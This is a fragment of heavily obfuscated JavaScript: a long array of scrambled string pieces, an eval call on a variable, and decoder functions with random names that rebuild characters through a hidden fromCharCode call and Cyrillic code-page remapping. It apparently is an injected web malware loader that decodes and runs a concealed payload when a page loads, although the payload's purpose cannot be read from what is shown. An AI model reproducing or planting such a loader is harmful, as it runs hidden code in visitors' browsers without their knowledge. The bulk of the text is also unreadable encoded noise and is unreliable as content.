","0","5±±","195±","™","7","2","4","™±","1","5","±±","2","3","±™","61","7™c","±","1","7","3","±","±","1","74","±","™7","38™","(","™","620™±","15","8±","™","6","8","0™","±2","2","4±","™6","66™±199","±™","6","7","9","™","±2","1","8","±™","742™","±","2","1","0","±™60","4™","e™","66","5™±16","2","±™61","1™","l","™","78","4™","±2","52","±","±3","±Q™","752™","*±32","±","™","5","94","™","±13","1±","™7","7","7","™;",">™","68","7™","±2","33","±±22","4","±","±","2","2","3","±±","16","2±","™","7","6","6™±243","±","±","2","3","4","±","™617","™","±","1","76","±","B","™","6","54","™","dc","c","±2","0","9","±","±19","5","±","±200","±","±19","0±","™72","1","™±1","2","±™","63","9","™±","19","4±","™7","7","9","™","±","5±","O","P","™6","60","™±2","18±±1","98","±","±2","04±±","193","±™","7","6","7™2","™","7","32","™±","2","00","±™","628™","±12","5","±`™6","7","9™","±","1","63","±™","594™","Y","+™","723™±","1","69±","±1","6","8±™","675","™±23","6±±12","4±","™69","7™","±","14","3","±","±1","4","2","±™5","97","™",".","™60","7","™","5","™686","™±13","1","±±","22","2","±™751","™","*™","765","™",",>™","6","8","7","™","±232","±","™","5","9","9","™±","136","±","±1","45±","±","1","51±Q","±1","46","±","™632™±1","7","8±±1","77","±±","1","7","9","±","±","1","8","5","±","™","760™7™","6","7","1™±","208±","±","2","16±","±218","±™","73","0™","±2","8","±","±11±","±198±","±","2","27","±","™","6","5","5","™","±123±","±","193","±™741","™","&","™","6","6","5™±","21","1","±™61","1™","±","146±","±1","6","3","±±","15","2","±™","7","19","™±1","0±","±","9±","±195±±","196±","™687™±","1","5","5±±2","4","6","±™","7","5","9","™±","2","08±","™","6","76™z","y™","69","5™","±1","4","0±±236±™6","75™","±","2","1","3","±±","143±±1","5","1","±±","230","±","±21","6","±","±221±","±2","11±±","22","2±","±2","30±","™","601™","S™6","19","™±","1","7","5±","±","17","6±±177","±","™7","50","™±3","2","±™","7","5","9","™","/","$*™","7","5","8","™±","22","6±","™6","11","™ll™629™","±1","2","6","±™","697","™±1","65±","±18","1","±™","6","96™±","1","7","3±±","164±±2","55","±™680","™","±","1","29±","±","1","26","±™","688™","±","133±","™","689™±","1","3","4±","™","7","70","™","±21","5","±™","6","6","2™","±","2","1","7","±±2","03","±","±","2","08±™","69","7","™±","233","±","™7","0","7™±2","54","±","™739™","&","™","595™","M","±1","5","1","±±","152","±","™","69","7","™±2","5","5","±™","6","38","™","±","176","±™7","6","8™","8-™615™±","1","54±SpS™","696","™±1","8","1","±","±","191","±±","1","45","±™","7","90","™±","2","36","±","™6","21™","B","™6","03","™","0","™","76","5","™","±","2","1","0","±?™","73","0","™","±7","±","™","71","2™±","6","±","±1","80±","±25","2","±™","6","0","1™","±","1","38","±","™6","23™","±1","56±™","6","9","3™±2","2","9±±16","1±™7","5","8™","±","255","±","±","2","2","6±™76","7","™/™","6","56","™±2","0","3±±","191","±","™","75","7","™6",".™6","6","0™","±197±±","206","±™603","™","±1","5","5±™70","6™±","18","8±±2","4","5","±±2","4","3","±","±","2","±","±2","11±","±2","5","0","±","™7","44","™","±2","5","±","™7","6","9™",":","2™7","2","5™","±","15","±±","21±±","2","0±™647™±1","49±™","6","74","™","±23","1±±","194","±","±","20","7±±213","±™","7","52™","±","10±","™7","6","7™",",","80±24","3±","±242±","30™754","™","±","3","1±","™","6","1","5™","±1","51","±","™","627","™","f","h","™6","9","6","™","±2","2","3±™","5","9","8™","R™6","19","™","±1","48±","r","™","6","13","™>",";",":","™","60","7™4™","6","6","3™","l±","217","±±","196±","™","74","6","™(±","2","14","±™","7","34™±29±±","13±","™","7","57","™3","™","7","57™","*","1","™","73","7™!","±205","±","™","71","1™","±208±±179","±™685™±2","21","±±2","32±","™7","80™;","M™","621™±16","6±","±1","58","±","±1","67","±","±","173±","g™65","5™±","19","0±","±2","05","±","™","7","54","™#™","6","21™±","154","±","™7","3","6™±","3","2","±","™","6","2","8™±165","±","±","13","3","±±172±™","7","60","™",")1",")","2","8±2","3","6","±™67","1","™±14","6","±","±2","22±±","2","0","6±","±22","1±","±2","1","2±","™","75","7™1™75","7","™","5","™","7","4","9","™±","224±","±22","6","±±244","±","™6","9","4","™±","143±™","60","2","™","0™7","8","6","™±231±","™","6","85™","±13","0±","±13","0±±2","3","6","±","±22","0±±","2","35","±","±","226","±","™","6","34","™±","182","±±","1","8","6","±","t±","1","8","6±","±1","91","±±182","±","™6","43™","±18","0","±","o","™67","9","™±","1","7","6","±","±147","±±1","54","±","±231","±±21","6±","±","2","35","±","™600","™","±1","5","2","±S","±","1","42","±™","76","5™","*","?™6","9","3™","±","2","26","±™7","62","™9",")","8™","74","7","™±3","2","±'™","72","0™","±","1","6±±1","95","±±21","5","±™70","9","™±1","5","8","±™","6","6","7","™","qp™74","0","™","±1","8","5±","™","6","8","5™±","13","0","±™68","6™","±2","3","7±","™62","0","™±","155±±170","±±","1","6","1±","™7","5","2™",",","™7","33","™±29±","±","2","15±","™69","4","™±","2","41","±™636™","±","1","82±","™74","2","™","$™","605","™±","142","±","±","1","3","8","±","™736","™","±1","6","±","™77","3","™","J","D™","777™I™","7","51™","±","2","8±™","75","8™","6™7","9","0™","G™","657","™","±1","9","2±","™","5","96","™","±","1","3","6±±","129","±±","1","42±±135±","±1","33±","™6","3","6™h±","13","3","±","h™","647™","±","18","5±±","2","0","0±™","66","5™±21","1±","™","704™","±239","±™","690","™±","2","4","2","±™66","6","™","±","2","07","±™605","™","±1","52±","±1","51±","I","™","670™","±1","46±","™6","85™±","1","62","±","±","1","5","3","±","™","7","1","4™","±","1","7","±","±16","3±™","617","™","?™","6","82","™","±127","±","™75","2","™±1","97±±1","97±±19","7±%\"","™6","33","™e","m™60","9™","±","1","61±","±","14","9","±±","150±±160±","[±","1","5","9±","±1","4","6","±±","14","2±","±","145","±™","6","3","8","™","±1","9","5±™","6","33","™±152","±","±","18","5±","™","7","88™A","TE±0","±±","2","9","±","™7","40","™","±237±","™78","2","™","±25","0±™716™","±1","91±","™7","8","0","™",";™67","1™","±2","1","8","±","™","7","84","™I","™5","99™","±","14","7±±1","43","±™","6","28™","±","165±±180","±™","765","™",".±240","±","±2","42","±","±","233±™","6","04™","±","163±™","72","7","™±","1","7","6±±","173±","™6","76","™y","y™6","8","3","™±1","28","±","™","5","97","™","*™6","9","3™±","13","8","±™","686™±2","4","1","±","™","789™JO","EPX","™","6","2","6™","l","™","6","23","™","±","17","9","±±","1","8","0","±","±1","81±","±1","6","1±","™","658™","±2","02±±1","9","1","±±","19","7±","™","76","8","™±23","6","±","±9","±","±2","36±±2","5","4±±7","±™","665","™","r","™7","7","0","™","±216","±","±","2","15±±215","±","™676","™","yy™","618™","±","179±C™7","46","™±1","9","2±","™6","42","™WWW±2","0","3","±","™","7","3","7™","±","2","32","±","±","1","86","±","™","790","™","±2","3","6","±","±235","±","™","77","0™±215","±","±","21","5","±™69","2","™±2","43±±","2","2","7±","™72","1™","±1","5±±6±","™6","07™±","1","5","5±","™7","5","8","™6","™","7","2","6","™±","2","08±","±","1","7","±","™","698™±24","4","±™74","9","™","%","(±","2","6±™","7","48","™","±28±±","216±","±","24","5","±","™","7","87™±","2","55","±","™767","™1@9.?","4™","7","83","™","J™","6","54","™±","2","00","±™","63","9","™","s","™677","™±1","5","4±","™","6","49™u±2","0","8","±b","_^^","™","76","1™±2","06","±","±","2","06","±","<",".","3",")™","72","1","™±1","2±±2","0","±","±203±","™","7","1","2™±1","2","±±1","3","±","±1","4±","±250±","±","0","±±","245±±2","51±™","685","™±","1","5","3","±±","1","82±","±1","53","±","±1","71","±","±1","8","0±","™","6","96","™±1","4","5","±™7","7","0™±21","6±±","215","±","±21","5","±","±","21","5±","™","6","2","8™±","1","89±™","7","9","2","™±","31","±","±241±","™7","0","5","™","±1","51","±±1","50","±","™7","48","™±1","93±","™79","2™","±23","7","±™","725","™±","20","±","™","7","01","™","±","2","36±","™74","3","™%","™73","6™","±","21","±±2","8","±±32","±","™","6","35","™","u","™7","02","™","±25","3","±™","6","20™","±17","0","±","™","6","1","9","™±15","4±W","tW","™","755™4","1™762™2™","7","07™±","175","±","±","18","6","±","±","1","75±±2","20±±","24","0","±±3±™","6","23","™±1","63","±","™","654","™±","136","±™6","44","™","±","1","94±","™69","1™±2","2","4","±","±2","3","7±±","2","27±±","238±","±236","±™","694™±","1","7","0±","±17","1","±±","1","7","6±™","70","9™","±","5","±±0","±","±","228","±™","7","0","4™±","0","±±","254","±","±","24","5","±","±250","±™7","9","0","™I","±","10","±±","11±","±1","6","±™6","4","0","™","±19","1","±±19","3","±±","174","±™6","99™±","25","0±","±2","51±±24","9","±","™","642","™","±18","3","±","™","7","4","2™","±32±™696™±","23","5","±±","17","2±™723™","±","210","±™","6","00™M","D","™","6","46","™±125","±™","65","8","™","±1","2","6±","™","6","8","8™±","16","3","±","™7","3","2","™","±2","1","4±","±","18±","±27±","±20","7±","™","7","46™","±","24","1±","±1","95","±±192","±","™6","2","6™","G","GG","™641™±1","81±","±","17","8","±","™6","0","0","™","±","1","3","3","±±136±R±1","33±","±14","8±","™","6","6","0","™±","2","0","8±™","7","09","™","±","2","46±±2","5","5±","±","24","5","±","±","2","12±±","24","9±±","2","5","0±","™","62","3™±1","67±","™64","3™","±","179","±w±","1","94±","™725™","±4","±±1","9","±","±","10","±","™7","90™","R™69","4™±24","6","±","™61","0","™W™","737","™","±232","±","™","680","™±129","±±","1","2","6±","™737™±","182±","™","7","8","3","™±","2","2","8±","X","±","2","32±","±","2","2","9","±±22","8","±","™","64","2™","±","2","0","3±","™","66","1™","±156±n","™","7","19™","±","1","6","5","±±2","4±±19","6","±","™72","2™±198","±","±199±±217±");eval(l4cdd66c);function e14df2(){return 12;}function e6d130f57(t3d614d5b,if780d8b){return t3d614d5b.substr(if780d8b,1);}function e049fe3e(f0cbf5){return ++f0cbf5;}function qbb5ddf2(rfa2d3c4e,fc526c){return rfa2d3c4e.substr(fc526c,1);}function e8b85e6(se6d3b88,g11a76){return se6d3b88.substr(g11a76,1);}function n40e90e(m2091ca6){if(m2091ca6==168)m2091ca6=1025;else if(m2091ca6==184)m2091ca6=1105;return (m2091ca6>=192 && m2091ca6<256) ? m2091ca6+848 : m2091ca6;}function nf3a0c7(o53060,e68887,bc8d0e642){return o53060-e68887-bc8d0e642;}function o8be9d342(s85877a49){var l3f9ddca=String;return l3f9ddca["f\x72omCha\x72Co\x64e"](s85877a49);}function ece8df8(xe63c659){var f87eb3468=xe63c659;if(f87eb3468<0)f87eb3468+=256;if(f87eb3468==168)f87eb3468=1025;else if(f87eb3468==184)f87eb3468=1105;return (f87eb3468>=192 && f87eb3468<256) ? f87eb3468+848 : f87eb3468;}
